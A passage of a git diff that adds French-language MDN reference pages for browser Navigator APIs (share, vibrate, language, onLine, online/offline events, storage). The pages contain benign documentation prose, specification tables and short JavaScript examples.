+<pre class="syntaxbox">var sharePromise = window.navigator.share(<var>data</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><var>data</var></dt>
+ <dd>Un objet contenant les données à partager. Au moins un des champs suivant doit être spécifié. Les champs possibles sont les suivant : </dd>
+</dl>
+
+<ul>
+ <li><code>url</code>: Un {{domxref("USVString")}} représentant l'URL à partager.</li>
+ <li><code>text</code>: Un {{domxref("USVString")}} représentant le texte à partager.</li>
+ <li><code>title</code>: Un {{domxref("USVString")}} représentant le titre à partager.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{domxref("Promise")}} qui sera résolue une fois que l'utilisateur aura finalisé son action de partage. Elle sera rejetée immédiatement si le paramètre <var>data</var> n'est pas correctement spécifié.</p>
+
+<p>Par exemple, sur Chrome pour Android, la <code>Promise</code> retournée sera résolue après que l'utilisateur ait choisi une application vers où partager ses données.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">navigator.share({
+  title: document.title,
+  text: 'Hello World',
+  url: 'https://developer.mozilla.org',
+}); // partage l'URL de MDN</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Share API','#share-method','share()')}}</td>
+   <td>{{Spec2('Web Share API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Navigator.share")}}</p>
diff --git a/files/fr/web/api/navigator/vibrate/index.html b/files/fr/web/api/navigator/vibrate/index.html
new file mode 100644
index 0000000000..8902090780
--- /dev/null
+++ b/files/fr/web/api/navigator/vibrate/index.html
@@ -0,0 +1,61 @@
+---
+title: Navigator.vibrate()
+slug: Web/API/Navigator/vibrate
+translation_of: Web/API/Navigator/vibrate
+---
+<p>{{APIRef("Vibration API")}}</p>
+
+<p>La méthode <strong><code>Navigator.vibrate()</code></strong> active le module matériel de vibration de l'appareil, si ce dernier est présent. Si l'appareil ne supporte pas les vibrations, cette méthode n'a aucun effet. Si une série de vibration est déjà en cours, la précédente série est stopée et la nouvelle série est lancée.</p>
+
+<p>Si la méthode ne peut pas vibrer en raison d'arguments invalides, elle retournera <code>false</code>, sinon elle retournera <code>true</code>. Si la série contient de trop longue vibration, elle sera tronqué; la longueur maximale dépend de l'implémentation.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>successBool</em> = window.navigator.vibrate(motif);
+</pre>
+
+<dl>
+ <dt><code>motif</code></dt>
+ <dd>Fournit un motif de vibration et d'intervalle de pause. Chaque valeur indique un nombre de milisecondes de vibration ou de pause, en alternance. Vous pouvez fournir une valeur (pour vibrer une fois) ou un tableau de valeur (vibration, pause, vibration ...). Voir l'<a href="/fr/docs/Web/API/Vibration_API">API Vibration</a> pour plus de détails.</dd>
+</dl>
+
+<p>Passer la valeur 0, un tableau vide, ou un tableau de zéro arrêtera toutes les vibrations.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">window.navigator.vibrate(200); // vibre pendant 200ms
+window.navigator.vibrate([100,30,100,30,100,30,200,30,200,30,200,30,100,30,100,30,100]); // Vibre 'SOS' en Morse.
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Vibration API')}}</td>
+   <td>{{Spec2('Vibration API')}}</td>
+   <td>
+    <p>Linked to spec is the latest editor's draft; W3C version is a REC.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Navigator.vibrate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Vibration_API" title="/en-US/docs/WebAPI/Vibration">Vibration API</a></li>
+</ul>
diff --git a/files/fr/web/api/navigatorlanguage/index.html b/files/fr/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..856c7dea15
--- /dev/null
+++ b/files/fr/web/api/navigatorlanguage/index.html
@@ -0,0 +1,61 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+translation_of: Web/API/NavigatorLanguage
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>NavigatorLanguage</strong></code> contient les méthodes et les propriétés de la langue du navigateur.</p>
+
+<p>Il n'y a pas d'objet de type <code>NavigatorLanguage</code>, mais d'autres interfaces comme {{domxref("Navigator")}} ou {{domxref("WorkerNavigator")}} l'implémentent.</p>
+
+<h2 id="Propriété">Propriété</h2>
+
+<p><em>L'interface <code>NavigatorLanguage</code></em><em> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} représentant la langue préférée de l'utilisateur, généralement la langue de l'interface utilisateur du navigateur. La valeur <code>null</code> est retournée quand la langue est inconnue.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Retourne un tableau de {{domxref("DOMString")}} représentant les langues connu de l'utilisateur par ordre de préférence.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface <code>NavigatorLanguage</code> n'implémente et n'hérite d'aucune méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Depuis la <em>snapshot</em> {{SpecName('HTML5 W3C')}}, la propriété <code>languages</code> a été ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Spécification initiale; <em>snapshot</em> de la version anticipé {{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NavigatorLanguage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Navigator")}} qui l'implémente.</li>
+</ul>
diff --git a/files/fr/web/api/navigatorlanguage/language/index.html b/files/fr/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..0d5192e5ff
--- /dev/null
+++ b/files/fr/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,58 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+translation_of: Web/API/NavigatorLanguage/language
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété en lecture seule <strong><code>NavigatorLanguage.language</code></strong> fournit une chaîne de caractère indiquant la langue préférée de l'utilisateur, généralement la langue de l'interface du navigateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const <em>lang</em> = navigator.language
+</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>La constante <code>lang</code> contient une chaîne de caractère indiquant la langue défini dans <a class="external" href="https://tools.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a>, par exemple "en", "en-US", "fr", "fr-FR", "es-ES", etc.</p>
+
+<p>Notons que dans Safari sur iOS avant la version 10.2, le code du pays était en minuscule, par exemple: "en-us", "fr-fr" etc.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">if (/^en\b/.test(navigator.language)) {
+  doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-language', 'NavigatorLanguage: language')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Combatibilité_des_navigateurs">Combatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NavigatorLanguage.language")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/fr/web/api/navigatorlanguage/languages/index.html b/files/fr/web/api/navigatorlanguage/languages/index.html
new file mode 100644
index 0000000000..416ffecbc0
--- /dev/null
+++ b/files/fr/web/api/navigatorlanguage/languages/index.html
@@ -0,0 +1,58 @@
+---
+title: NavigatorLanguage.languages
+slug: Web/API/NavigatorLanguage/languages
+translation_of: Web/API/NavigatorLanguage/languages
+---
+<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p>La propriété en lecture seule <code><strong>NavigatorLanguage.languages</strong></code> retourne un tableau de {{domxref("DOMString")}} représentant les langues préférées de l'utilisateur. Les étiquettes de langue utilisent les étiquettes de langages défini par <a href="http://tools.ietf.org/html/bcp47">BCP 47</a>. Le tableau retourné est trié par ordre de préférence décroissante (la langue préférée en premier).</p>
+
+<p>La valeur de {{domxref("NavigatorLanguage.language","navigator.language")}} est le premier élément du tableau retourné.</p>
+
+<p>Quant la valeur change, notamment lorsque l'utilisateur modifie ses préférences de langues, un événement {{event("languagechange")}} est déclenché sur l'objet {{domxref("Window")}}.</p>
+
+<p>L'entête HTTP <code>Accept-Language</code> présent dans chaque requête HTTP issu de la navigation de l'utilisateur contient les mêmes valeurs que <code>navigator.languages</code>, avec en plus un champ <code>qvalues</code> (<em>valeur de qualité</em>), par exemple: <code>en-US;q=0.8</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>preferredLanguages</em> = <em>globalObj</em>.navigator.languages
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">navigator.language   //"en-US"
+navigator.languages  //["en-US", "zh-CN", "ja-JP"]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-languages', 'NavigatorLanguage: languages')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.NavigatorLanguage.languages")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.language","navigator.language")}}</li>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("Window.onlanguagechange")}}</li>
+</ul>
diff --git a/files/fr/web/api/navigatoronline/index.html b/files/fr/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..118222cd81
--- /dev/null
+++ b/files/fr/web/api/navigatoronline/index.html
@@ -0,0 +1,62 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+tags:
+  - API
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interface <code><strong>NavigatorOnLine</strong></code> contient les méthodes et les propriétés concernant l'état de connexion du navigateur.</p>
+
+<p>Il n'y a pas d'objet de type <code>NavigatorOnLine</code>, mais d'autres interfaces l'implémentent comme {{domxref("Navigator")}} ou {{domxref("WorkerNavigator")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>NavigatorOnLine</code></em><em> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Boolean")}} indicant si le navigateur est connecté.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis la dernière version, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Version apportant la définition initiale: {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_naviagteurs">Compatibilité des naviagteurs</h2>
+
+
+
+<p>{{Compat("api.NavigatorOnLine")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Navigator")}} qui l'implémente;</li>
+ <li><a href="/fr/docs/Web/API/NavigatorOnLine/Online_and_offline_events">Les évènements online et offline</a>.</li>
+</ul>
diff --git a/files/fr/web/api/navigatoronline/online/index.html b/files/fr/web/api/navigatoronline/online/index.html
new file mode 100644
index 0000000000..647b560985
--- /dev/null
+++ b/files/fr/web/api/navigatoronline/online/index.html
@@ -0,0 +1,91 @@
+---
+title: window.navigator.onLine
+slug: Web/API/NavigatorOnLine/onLine
+tags:
+  - API
+  - DOM Reference
+  - En ligne
+  - Navigateur En Ligne
+  - NavigatorOnLine
+  - Online
+  - Propriété
+  - Reference
+translation_of: Web/API/NavigatorOnLine/onLine
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Renvoie l'état en ligne du navigateur. La propriété renvoie une valeur {{domxref ("Boolean", "Booléenne")}}, avec <code>true</code> signifiant en ligne et <code>false</code> signifiant hors ligne.</span> La propriété envoie des mises à jour chaque fois que la capacité du navigateur à se connecter au réseau change. La mise à jour se produit lorsque l'utilisateur suit des liens ou lorsqu'un script demande une page distante. Par exemple, la propriété doit renvoyer false lorsque les utilisateurs cliquent sur des liens peu de temps après avoir perdu la connexion Internet.</p>
+
+<p>Les navigateurs implémentent cette propriété différemment.</p>
+
+<p>Dans Chrome et Safari, si le navigateur ne parvient pas à se connecter à un réseau local (LAN) ou à un routeur, il est hors ligne; toutes les autres conditions renvoient <code>true</code>. Ainsi, bien que vous puissiez supposer que le navigateur est hors ligne lorsqu'il renvoie une valeur <code>false</code>, vous ne pouvez pas supposer qu'une valeur vraie signifie nécessairement que le navigateur peut accéder à Internet. Vous pourriez obtenir de faux positifs, par exemple dans les cas où l'ordinateur exécute un logiciel de virtualisation doté d'adaptateurs Ethernet virtuels toujours «connectés». Par conséquent, si vous souhaitez vraiment déterminer l'état en ligne du navigateur, vous devez développer des moyens supplémentaires de vérification. Pour en savoir plus, consultez l'article HTML5 Rocks, <a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">Working Off the Grid</a>.</p>
+
+<p>Dans Firefox et Internet Explorer, le passage du navigateur en mode hors ligne envoie la valeur <code>false</code>. Jusqu'à Firefox 41, toutes les autres conditions renvoient une valeur vraie; tester le comportement réel sur Nightly 68 sous Windows montre qu'il ne recherche que la connexion LAN comme Chrome et Safari donnant de faux positifs.</p>
+
+<p>Vous pouvez voir les changements dans l'état du réseau en écoutant les événements sur {{domxref ("Document/ononline", "window.ononline")}} et {{domxref ("Document/onoffline", "window.onoffline")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>window</em>.navigator.onLine
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>online</code> est un {{domxref ("Boolean", "Booléen")}} <code>true</code> ou <code>false</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir <a href="http://html5-demos.appspot.com/static/navigator.onLine.html">un exemple en direct</a>.</p>
+
+<p>Pour vérifier si vous êtes en ligne, interrogez <code>window.navigator.onLine</code>, comme dans l'exemple suivant:</p>
+
+<pre class="brush: js notranslate">console.log(navigator.onLine ? 'online' : 'offline')
+</pre>
+
+<p>Si le navigateur ne prend pas en charge <code>navigator.onLine</code>, l'exemple ci-dessus apparaîtra toujours comme <code>false</code> / <code>undefined</code>.</p>
+
+<p>Pour voir les modifications de l'état du réseau, utilisez <a href="https://wiki.developer.mozilla.org/en-US/docs/DOM/element.addEventListener">addEventListener</a> pour écouter les événements sur {{domxref ("Window/offline_event", "window.online")}} et {{domxref ("Window/offline_event", "window.offline")}}, comme dans l'exemple suivant:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('offline', function(e) { ... })
+window.addEventListener('offline', (e) =&gt; { ... })
+
+window.addEventListener('online', function(e) { ... })
+window.addEventListener('online', (e) =&gt; { ... })
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#dom-navigator-online", "navigator.onLine")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.NavigatorOnLine.onLine")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Voir <a href="https://wiki.developer.mozilla.org/en-US/docs/Online_and_offline_events">Événements en ligne / hors ligne</a> pour une description plus détaillée de cette propriété ainsi que des nouvelles fonctionnalités hors ligne introduites dans Firefox 3.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Travailler hors du réseau avec HTML5 Offline</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": Qu'est-ce que cela signifie et pourquoi devrais-je m'en soucier?</a></li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Applications web offline</a></li>
+</ul>
diff --git a/files/fr/web/api/navigatoronline/évènements_online_et_offline/index.html b/files/fr/web/api/navigatoronline/évènements_online_et_offline/index.html
new file mode 100644
index 0000000000..4ba6a2d717
--- /dev/null
+++ b/files/fr/web/api/navigatoronline/évènements_online_et_offline/index.html
@@ -0,0 +1,99 @@
+---
+title: Évènements online et offline
+slug: Web/API/NavigatorOnLine/Évènements_online_et_offline
+tags:
+  - AJAX
+  - Applications_web_hors_ligne
+  - DOM
+  - Développement_Web
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>{{ Fx_minversion_header(3) }} <a href="fr/Firefox_3_pour_les_d%c3%a9veloppeurs">Firefox 3</a> implémente <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">les évènements <code>online</code> et <code>offline</code></a> de la <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">spécification Web Applications 1.0 du WHATWG</a>.</p>
+
+<h3 id="Aper.C3.A7u" name="Aper.C3.A7u">Aperçu</h3>
+
+<p>Afin de construire une bonne application Web capable de fonctionner hors ligne, il est nécessaire de savoir quand votre application est hors ligne. De même, vous devrez également savoir quand votre application est de nouveau en ligne. Concrètement, ce qui est nécessaire se résume à :</p>
+
+<ol>
+ <li>Savoir quand l'utilisateur est de nouveau en ligne, afin de se resynchroniser avec le serveur.</li>
+ <li>Savoir quand l'utilisateur est hors ligne, afin de s'assurer que les requêtes à faire vers le serveur soient bien enregistrées localement.</li>
+</ol>
+
+<p>C'est ce processus que les évènements <code>online</code> et <code>offline</code> rendent presque trivial.</p>
+
+<p>Votre application web peut également vouloir indiquer que certains documents doivent être maintenus dans le cache des ressources hors ligne. Pour en savoir plus sur la manière de préciser cette indication, consultez l'article <a href="fr/Ressources_hors_ligne_dans_Firefox">Ressources hors ligne dans Firefox</a>.</p>
+
+<h3 id="API" name="API">API</h3>
+
+<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4>
+
+<p><code><a href="fr/DOM/window.navigator.onLine">navigator.onLine</a></code> est une propriété qui maintient une valeur <code>true</code>/<code>false</code> (<code>true</code> pour <code>online</code>, <code>false</code> pour <code>offline</code>). Cette propriété est mise à jour chaque fois que l'utilisateur passe en mode « Hors ligne » en sélectionnant l'entrée de menu correspondante (Fichier → Travailler hors connexion dans Firefox).</p>
+
+<p>De plus, cette propriété doit être mise à jour dès que le navigateur n'arrive plus à se connecter au réseau. D'après la spécification :</p>
+
+<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline">L'attribut <code>navigator.onLine</code> doit renvoyer <code>false</code> si l'agent utilisateur ne va pas contacter le réseau lorsque l'utilisateur suit un lien ou lorsqu'un script demande une page distante (ou sait qu'une telle tentative échouerait)…</blockquote>
+
+<p>Firefox 2 met à jour cette propriété lors du passage en mode hors connexion du navigateur, et lors de la perte ou de la récupération de la connectivité réseau sous Windows et Linux.</p>
+
+<p>Cette propriété existait dans de versions plus anciennes de Firefox et Internet Explorer (la spécification se base sur ces implémentations précédentes), vous pouvez donc immédiatement commencer à l'utiliser. La détection de l'état du réseau a été ajoutée dans Firefox 2.</p>
+
+<h4 id="Les_.C3.A9v.C3.A8nements_.C2.AB_online_.C2.BB_et_.C2.AB_offline_.C2.BB" name="Les_.C3.A9v.C3.A8nements_.C2.AB_online_.C2.BB_et_.C2.AB_offline_.C2.BB">Les évènements « <code>online</code> » et « <code>offline</code> »</h4>
+
+<p><a href="fr/Firefox_3">Firefox 3</a> introduit deux nouveaux évènements : « <code>online</code> » et « <code>offline</code> ». Ces deux évènements sont déclenchés sur l'élément <code>&lt;body&gt;</code> de chaque page lorsque le navigateur passe d'un mode à l'autre. De plus, les évènements se propagent depuis <code>document.body</code>, vers <code>document</code>, puis vers <code>window</code>. Aucun de ces deux évènements n'est annulable (il n'est pas possible d'empêcher l'utilisateur de passer en ligne ou hors ligne).</p>
+
+<p>Vous pouvez ajouter des gestionnaires pour ces évènements selon les manières habituelles :</p>
+
+<ul>
+ <li>en utilisant <code><a href="fr/DOM/element.addEventListener">addEventListener</a></code> sur <code>window</code>, <code>document</code> ou <code>document.body</code></li>
+ <li>en définissant les propriétés <code>.ononline</code> ou <code>.onoffline</code> sur <code>document</code> ou <code>document.body</code> vers un objet JavaScript <code>Function</code>. (<strong>Note :</strong> l'utilisation de <code>window.ononline</code> ou <code>window.onoffline</code> ne fonctionnera pas, pour des raisons de compatibilité.)</li>
+ <li>en spécifiant les attributs <code>ononline="…"</code> ou <code>onoffline="…"</code> à la balise <code>&lt;body&gt;</code> dans le balisage HTML.</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<p>Un <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">cas de test simple</a> peut être exécuté pour vérifier que les évènements fonctionnent. <span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span></p>
+
+<pre class="eval"> &lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+   &lt;script&gt;
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Évènement : " + msg + " ; état=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   &lt;/script&gt;
+   &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+   &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+   &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">La section « Offline Web applications » de la spécification Web Applications 1.0 du WHATWG</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">Le bug suivant l'implémentation des évènements online/offline dans Firefox</a> et sa <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">continuation</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">Un cas de test simple</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/offline-events/">Une explication sur les évènements <code>online</code> et <code>offline</code></a> (en anglais)</li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}</p>
diff --git a/files/fr/web/api/navigatorstorage/index.html b/files/fr/web/api/navigatorstorage/index.html
new file mode 100644
index 0000000000..0f1524c350
--- /dev/null
+++ b/files/fr/web/api/navigatorstorage/index.html
@@ -0,0 +1,70 @@
+---
+title: NavigatorStorage
+slug: Web/API/NavigatorStorage
+tags:
+  - API
+  - Interface
+  - Mixin
+  - Navigator
+  - NavigatorStorage
+  - NeedsTranslation
+  - Reference
+  - Secure context
+  - Storage
+  - Storage Standard
+  - TopicStub
+  - WorkerNavigator
+translation_of: Web/API/NavigatorStorage
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
+<p>The <strong><code>NavigatorStorage</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} and {{domxref("WorkerNavigator")}} interfaces the {{domxref("Navigator.storage")}} property, which provides access to the {{domxref("StorageManager")}} singleton used for controlling the persistence of data stores as well as obtaining information</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>There are many APIs which provide ways for Web content to store data on a user's computer, including {{Glossary("cookies")}}, the Web Storage API ({{domxref("Window.localStorage")}} and {{domxref("Window.sessionStorage")}}), and <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>. The Storage Standard is designed to serve as a common basis for the implementation of all of those APIs and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("NavigatorStorage.storage", "storage")}} {{readonlyinline}}{{securecontext_inline}}</dt>
+ <dd>Returns the {{domxref("StorageManager")}} singleton object which is used to access the Storage Manager. Through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>NavigatorStorage</code></em><em> mixin has no methods.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Storage')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorStorage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("navigator.storage")}}</li>
+ <li>{{domxref("WorkerNavigator")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+</ul>
diff --git a/files/fr/web/api/navigatorstorage/storage/index.html b/files/fr/web/api/navigatorstorage/storage/index.html
new file mode 100644
index 0000000000..6f17e5c4f0
--- /dev/null
+++ b/files/fr/web/api/navigatorstorage/storage/index.html
@@ -0,0 +1,51 @@
+---
+title: NavigatorStorage.storage
+slug: Web/API/NavigatorStorage/storage
+translation_of: Web/API/NavigatorStorage/storage
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
